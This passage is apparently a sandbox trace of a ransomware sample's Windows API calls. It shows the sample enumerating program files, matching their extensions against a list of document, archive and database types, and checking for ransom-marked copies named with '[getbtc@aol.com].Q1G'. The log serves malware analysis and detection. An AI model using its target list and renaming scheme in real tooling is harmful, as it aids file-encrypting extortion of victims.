(lpString=".rar") returned 4 [0052.113] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.113] lstrlenW (lpString=".bz2") returned 4 [0052.113] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.113] lstrlenW (lpString=".7z") returned 3 [0052.113] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.113] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0052.113] lstrlenW (lpString=".dbf") returned 4 [0052.113] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.113] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0052.113] lstrlenW (lpString=".1cd") returned 4 [0052.113] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.113] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0052.113] lstrlenW (lpString=".jpg") returned 4 [0052.113] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.113] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0052.113] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0052.113] lstrlenW (lpString=".doc") returned 4 [0052.113] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.113] lstrlenW (lpString=".docx") returned 5 [0052.113] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0052.113] lstrlenW (lpString=".pdf") returned 4 [0052.113] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.113] lstrlenW (lpString=".xls") returned 4 [0052.113] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.113] lstrlenW (lpString=".xlsx") returned 5 [0052.113] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0052.114] lstrlenW (lpString=".ppt") returned 4 [0052.114] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.114] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0052.114] lstrlenW (lpString=".zip") returned 4 [0052.114] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.114] lstrlenW (lpString=".rar") returned 4 [0052.114] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.114] lstrlenW (lpString=".bz2") returned 4 [0052.114] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.114] lstrlenW (lpString=".7z") returned 3 [0052.114] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.114] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0052.114] lstrlenW (lpString=".dbf") returned 4 [0052.114] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.114] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0052.114] lstrlenW (lpString=".1cd") returned 4 [0052.114] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.114] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0052.114] lstrlenW (lpString=".jpg") returned 4 [0052.114] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.114] lstrcmpiW (lpString1=".wmv", lpString2=".Q1G") returned 1 [0052.114] lstrlenW (lpString="Notes_LOOP_BG.wmv") returned 17 [0052.114] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0052.758] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=789322) returned 1 [0052.758] CloseHandle (hObject=0x198) returned 1 [0052.758] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv")) returned 0x20 [0052.758] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0052.758] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.759] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned 66 [0052.759] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned 66 [0052.759] lstrlenW (lpString=".doc") returned 4 [0052.759] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0052.759] lstrlenW (lpString=".docx") returned 5 [0052.759] lstrcmpiW (lpString1=".docx", lpString2="G.wmv") returned -1 [0052.759] lstrlenW (lpString=".pdf") returned 4 [0052.759] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0052.759] lstrlenW (lpString=".xls") returned 4 [0052.759] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0052.759] lstrlenW (lpString=".xlsx") returned 5 [0052.759] lstrcmpiW (lpString1=".xlsx", lpString2="G.wmv") returned -1 [0052.759] lstrlenW (lpString=".ppt") returned 4 [0052.759] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0052.759] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned 66 [0052.759] lstrlenW (lpString=".zip") returned 4 [0052.759] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0052.759] lstrlenW (lpString=".rar") returned 4 [0052.759] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0052.759] lstrlenW (lpString=".bz2") returned 4 [0052.759] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0052.759] lstrlenW (lpString=".7z") returned 3 [0052.759] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0052.759] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned 66 [0052.759] lstrlenW (lpString=".dbf") returned 4 [0052.759] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0052.759] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned 66 [0052.759] lstrlenW (lpString=".1cd") returned 4 [0052.759] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0052.759] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned 66 [0052.759] lstrlenW (lpString=".jpg") returned 4 [0052.759] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0052.759] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned 66 [0052.759] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned 66 [0052.759] lstrlenW (lpString=".doc") returned 4 [0052.760] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0052.760] lstrlenW (lpString=".docx") returned 5 [0052.760] lstrcmpiW (lpString1=".docx", lpString2="G.wmv") returned -1 [0052.760] lstrlenW (lpString=".pdf") returned 4 [0052.760] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0052.760] lstrlenW (lpString=".xls") returned 4 [0052.760] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0052.760] lstrlenW (lpString=".xlsx") returned 5 [0052.760] lstrcmpiW (lpString1=".xlsx", lpString2="G.wmv") returned -1 [0052.760] lstrlenW (lpString=".ppt") returned 4 [0052.760] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0052.760] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned 66 [0052.760] lstrlenW (lpString=".zip") returned 4 [0052.760] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0052.760] lstrlenW (lpString=".rar") returned 4 [0052.760] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0052.760] lstrlenW (lpString=".bz2") returned 4 [0052.760] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0052.760] lstrlenW (lpString=".7z") returned 3 [0052.760] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0052.760] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned 66 [0052.760] lstrlenW (lpString=".dbf") returned 4 [0052.760] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0052.760] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned 66 [0052.760] lstrlenW (lpString=".1cd") returned 4 [0052.760] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0052.760] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned 66 [0052.760] lstrlenW (lpString=".jpg") returned 4 [0052.760] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0052.760] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0052.760] lstrlenW (lpString="Pets_btn-back-static.png") returned 24 [0052.761] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0052.761] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1849) returned 1 [0052.761] CloseHandle (hObject=0x198) returned 1 [0052.761] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png")) returned 0x20 [0052.761] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0052.761] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.761] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0052.761] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0052.761] lstrlenW (lpString=".doc") returned 4 [0052.761] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.761] lstrlenW (lpString=".docx") returned 5 [0052.761] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0052.761] lstrlenW (lpString=".pdf") returned 4 [0052.761] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.761] lstrlenW (lpString=".xls") returned 4 [0052.761] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.761] lstrlenW (lpString=".xlsx") returned 5 [0052.761] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0052.761] lstrlenW (lpString=".ppt") returned 4 [0052.761] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.761] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0052.761] lstrlenW (lpString=".zip") returned 4 [0052.761] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.761] lstrlenW (lpString=".rar") returned 4 [0052.761] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.762] lstrlenW (lpString=".bz2") returned 4 [0052.762] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.762] lstrlenW (lpString=".7z") returned 3 [0052.762] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.762] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0052.762] lstrlenW (lpString=".dbf") returned 4 [0052.762] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.762] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0052.762] lstrlenW (lpString=".1cd") returned 4 [0052.762] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.762] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0052.762] lstrlenW (lpString=".jpg") returned 4 [0052.762] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.762] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0052.762] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0052.762] lstrlenW (lpString=".doc") returned 4 [0052.762] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.762] lstrlenW (lpString=".docx") returned 5 [0052.762] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0052.762] lstrlenW (lpString=".pdf") returned 4 [0052.762] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.762] lstrlenW (lpString=".xls") returned 4 [0052.762] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.762] lstrlenW (lpString=".xlsx") returned 5 [0052.762] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0052.762] lstrlenW (lpString=".ppt") returned 4 [0052.762] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.762] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0052.762] lstrlenW (lpString=".zip") returned 4 [0052.762] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.762] lstrlenW (lpString=".rar") returned 4 [0052.762] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.762] lstrlenW (lpString=".bz2") returned 4 [0052.762] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.762] lstrlenW (lpString=".7z") returned 3 [0052.762] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.763] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0052.763] lstrlenW (lpString=".dbf") returned 4 [0052.763] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.763] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0052.763] lstrlenW (lpString=".1cd") returned 4 [0052.763] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.763] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0052.763] lstrlenW (lpString=".jpg") returned 4 [0052.763] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.763] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0052.763] lstrlenW (lpString="Pets_btn-next-over-select.png") returned 29 [0052.763] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0052.763] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=3016) returned 1 [0052.763] CloseHandle (hObject=0x198) returned 1 [0052.763] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png")) returned 0x20 [0052.763] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0052.763] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.764] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0052.764] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0052.764] lstrlenW (lpString=".doc") returned 4 [0052.764] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.764] lstrlenW (lpString=".docx") returned 5 [0052.764] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0052.764] lstrlenW (lpString=".pdf") returned 4 [0052.764] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.764] lstrlenW (lpString=".xls") returned 4 [0052.764] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.764] lstrlenW (lpString=".xlsx") returned 5 [0052.764] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0052.764] lstrlenW (lpString=".ppt") returned 4 [0052.764] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.764] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0052.764] lstrlenW (lpString=".zip") returned 4 [0052.764] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.764] lstrlenW (lpString=".rar") returned 4 [0052.764] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.764] lstrlenW (lpString=".bz2") returned 4 [0052.764] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.764] lstrlenW (lpString=".7z") returned 3 [0052.764] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.764] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0052.764] lstrlenW (lpString=".dbf") returned 4 [0052.764] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.764] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0052.764] lstrlenW (lpString=".1cd") returned 4 [0052.764] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.764] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0052.764] lstrlenW (lpString=".jpg") returned 4 [0052.764] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.764] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0052.764] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0052.764] lstrlenW (lpString=".doc") returned 4 [0052.765] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.765] lstrlenW (lpString=".docx") returned 5 [0052.765] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0052.765] lstrlenW (lpString=".pdf") returned 4 [0052.765] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.765] lstrlenW (lpString=".xls") returned 4 [0052.765] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.765] lstrlenW (lpString=".xlsx") returned 5 [0052.765] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0052.765] lstrlenW (lpString=".ppt") returned 4 [0052.765] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.765] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0052.765] lstrlenW (lpString=".zip") returned 4 [0052.765] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.765] lstrlenW (lpString=".rar") returned 4 [0052.765] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.765] lstrlenW (lpString=".bz2") returned 4 [0052.765] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.765] lstrlenW (lpString=".7z") returned 3 [0052.765] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.765] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0052.765] lstrlenW (lpString=".dbf") returned 4 [0052.765] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.765] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0052.765] lstrlenW (lpString=".1cd") returned 4 [0052.765] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.765] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0052.765] lstrlenW (lpString=".jpg") returned 4 [0052.765] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.765] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0052.765] lstrlenW (lpString="Pets_btn-next-static.png") returned 24 [0052.766] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0052.766] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=2041) returned 1 [0052.766] CloseHandle (hObject=0x198) returned 1 [0052.766] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png")) returned 0x20 [0052.766] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0052.766] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.766] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0052.766] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0052.766] lstrlenW (lpString=".doc") returned 4 [0052.766] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.766] lstrlenW (lpString=".docx") returned 5 [0052.766] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0052.766] lstrlenW (lpString=".pdf") returned 4 [0052.766] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.766] lstrlenW (lpString=".xls") returned 4 [0052.766] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.766] lstrlenW (lpString=".xlsx") returned 5 [0052.766] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0052.766] lstrlenW (lpString=".ppt") returned 4 [0052.766] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.766] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0052.766] lstrlenW (lpString=".zip") returned 4 [0052.766] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.766] lstrlenW (lpString=".rar") returned 4 [0052.767] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.767] lstrlenW (lpString=".bz2") returned 4 [0052.767] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.767] lstrlenW (lpString=".7z") returned 3 [0052.767] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.767] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0052.767] lstrlenW (lpString=".dbf") returned 4 [0052.767] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.767] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0052.767] lstrlenW (lpString=".1cd") returned 4 [0052.767] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.767] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0052.767] lstrlenW (lpString=".jpg") returned 4 [0052.767] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.767] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0052.767] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0052.767] lstrlenW (lpString=".doc") returned 4 [0052.767] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.767] lstrlenW (lpString=".docx") returned 5 [0052.767] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0052.767] lstrlenW (lpString=".pdf") returned 4 [0052.767] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.767] lstrlenW (lpString=".xls") returned 4 [0052.767] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.767] lstrlenW (lpString=".xlsx") returned 5 [0052.767] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0052.767] lstrlenW (lpString=".ppt") returned 4 [0052.767] lstrcmpiW 